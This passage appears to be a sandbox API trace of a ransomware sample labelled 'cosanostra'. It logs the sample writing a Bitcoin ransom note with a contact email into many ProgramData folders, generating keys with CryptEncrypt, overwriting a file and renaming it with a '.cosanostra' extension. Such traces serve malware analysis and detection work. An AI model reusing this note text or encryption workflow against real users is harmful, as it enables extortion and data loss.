address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.896] WriteFile (in: hFile=0x168, lpBuffer=0x251f993*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb54, lpOverlapped=0x0 | out: lpBuffer=0x251f993*, lpNumberOfBytesWritten=0x251fb54*=0x1bf, lpOverlapped=0x0) returned 1 [0079.898] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.898] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb54, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb54*=0x2ac, lpOverlapped=0x0) returned 1 [0079.898] CloseHandle (hObject=0x168) returned 1 [0079.899] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\drm\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0079.899] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.899] WriteFile (in: hFile=0x168, lpBuffer=0x251f98f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb50, lpOverlapped=0x0 | out: lpBuffer=0x251f98f*, lpNumberOfBytesWritten=0x251fb50*=0x1bf, lpOverlapped=0x0) returned 1 [0079.900] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.900] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb50, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb50*=0x2ac, lpOverlapped=0x0) returned 1 [0079.900] CloseHandle (hObject=0x168) returned 1 [0079.901] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\drm\\server\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0079.901] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.901] WriteFile (in: hFile=0x168, lpBuffer=0x251f98b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb4c, lpOverlapped=0x0 | out: lpBuffer=0x251f98b*, lpNumberOfBytesWritten=0x251fb4c*=0x1bf, lpOverlapped=0x0) returned 1 [0079.902] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.902] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb4c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb4c*=0x2ac, lpOverlapped=0x0) returned 1 [0079.902] CloseHandle (hObject=0x168) returned 1 [0079.902] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fae8 | out: pbBuffer=0x251fae8) returned 1 [0079.902] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251fae0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251fae0*=0x30) returned 1 [0079.903] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\.." (normalized: "c:\\programdata\\microsoft\\drm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0079.903] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fae8 | out: pbBuffer=0x251fae8) returned 1 [0079.903] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251fae0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251fae0*=0x30) returned 1 [0079.903] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\." (normalized: "c:\\programdata\\microsoft\\drm\\server\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0079.903] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\devicesync\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0079.903] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.903] WriteFile (in: hFile=0x168, lpBuffer=0x251f97f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb40, lpOverlapped=0x0 | out: lpBuffer=0x251f97f*, lpNumberOfBytesWritten=0x251fb40*=0x1bf, lpOverlapped=0x0) returned 1 [0079.912] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.913] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb40, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb40*=0x2ac, lpOverlapped=0x0) returned 1 [0079.913] CloseHandle (hObject=0x168) returned 1 [0079.913] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0079.913] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.913] WriteFile (in: hFile=0x168, lpBuffer=0x251f97b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb3c, lpOverlapped=0x0 | out: lpBuffer=0x251f97b*, lpNumberOfBytesWritten=0x251fb3c*=0x1bf, lpOverlapped=0x0) returned 1 [0079.914] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.914] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb3c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb3c*=0x2ac, lpOverlapped=0x0) returned 1 [0079.914] CloseHandle (hObject=0x168) returned 1 [0079.915] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0080.043] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0080.043] WriteFile (in: hFile=0x168, lpBuffer=0x251f977*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb38, lpOverlapped=0x0 | out: lpBuffer=0x251f977*, lpNumberOfBytesWritten=0x251fb38*=0x1bf, lpOverlapped=0x0) returned 1 [0080.044] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0080.044] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb38, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb38*=0x2ac, lpOverlapped=0x0) returned 1 [0080.044] CloseHandle (hObject=0x168) returned 1 [0080.045] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\msdn\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0080.045] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0080.045] WriteFile (in: hFile=0x168, lpBuffer=0x251f973*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb34, lpOverlapped=0x0 | out: lpBuffer=0x251f973*, lpNumberOfBytesWritten=0x251fb34*=0x1bf, lpOverlapped=0x0) returned 1 [0080.046] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0080.046] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb34, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb34*=0x2ac, lpOverlapped=0x0) returned 1 [0080.046] CloseHandle (hObject=0x168) returned 1 [0080.046] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\msdn\\8.0\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0080.047] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0080.047] WriteFile (in: hFile=0x168, lpBuffer=0x251f96f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb30, lpOverlapped=0x0 | out: lpBuffer=0x251f96f*, lpNumberOfBytesWritten=0x251fb30*=0x1bf, lpOverlapped=0x0) returned 1 [0080.047] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0080.047] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb30, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb30*=0x2ac, lpOverlapped=0x0) returned 1 [0080.048] CloseHandle (hObject=0x168) returned 1 [0080.048] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\mf\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0080.048] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0080.048] WriteFile (in: hFile=0x168, lpBuffer=0x251f96b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb2c, lpOverlapped=0x0 | out: lpBuffer=0x251f96b*, lpNumberOfBytesWritten=0x251fb2c*=0x1bf, lpOverlapped=0x0) returned 1 [0080.049] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0080.049] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb2c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb2c*=0x2ac, lpOverlapped=0x0) returned 1 [0080.055] CloseHandle (hObject=0x168) returned 1 [0080.055] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fac8 | out: pbBuffer=0x251fac8) returned 1 [0080.056] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251fac0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251fac0*=0x30) returned 1 [0080.056] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0080.298] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned 43 [0080.298] StrStrW (lpFirst="Pending.GRL", lpSrch=".txt") returned 0x0 [0080.298] ReadFile (in: hFile=0x168, lpBuffer=0x2c3660, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fa84, lpOverlapped=0x0 | out: lpBuffer=0x2c3660*, lpNumberOfBytesRead=0x251fa84*=0x2800, lpOverlapped=0x0) returned 1 [0080.320] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.320] WriteFile (in: hFile=0x168, lpBuffer=0x2c3660*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251fa84, lpOverlapped=0x0 | out: lpBuffer=0x2c3660*, lpNumberOfBytesWritten=0x251fa84*=0x2800, lpOverlapped=0x0) returned 1 [0080.320] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.320] WriteFile (in: hFile=0x168, lpBuffer=0x251fac4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fa84, lpOverlapped=0x0 | out: lpBuffer=0x251fac4*, lpNumberOfBytesWritten=0x251fa84*=0x4, lpOverlapped=0x0) returned 1 [0080.320] WriteFile (in: hFile=0x168, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fa84, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251fa84*=0x30, lpOverlapped=0x0) returned 1 [0080.320] CloseHandle (hObject=0x168) returned 1 [0080.324] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.cosanostra") returned 54 [0080.324] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.cosanostra" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl.cosanostra")) returned 1 [0080.325] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\network\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0080.325] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0080.325] WriteFile (in: hFile=0x168, lpBuffer=0x251f963*, 